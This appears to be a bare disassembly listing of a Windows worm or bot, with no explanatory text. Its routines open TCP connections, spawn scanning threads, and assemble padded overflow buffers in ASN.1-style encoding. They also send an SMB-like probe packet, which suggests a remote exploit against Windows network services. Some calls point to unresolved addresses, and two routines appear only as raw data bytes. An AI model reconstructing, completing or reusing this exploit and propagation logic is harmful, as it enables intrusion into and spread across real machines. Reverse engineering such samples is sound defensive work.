		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 2660D84h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428


loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AAC
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26C0784h


loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26C0000h
		nop


loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B8C
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h


loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2253E8Dh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4167E8FCh, 0FF900223h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	0E8575700h
		dd 2253D9Dh, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 76E80875h, 90022340h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx


loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949


loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------


loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------


loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1


loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8E8
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F


loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C40
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "░B░B░B░B"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FC4
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C4C
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FB8
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FB4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB0
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FA4
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431F9F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------


loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB


loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------


loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C


loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------


loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CDC
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D0C
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C54
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95


loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1


loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl


loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D18
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
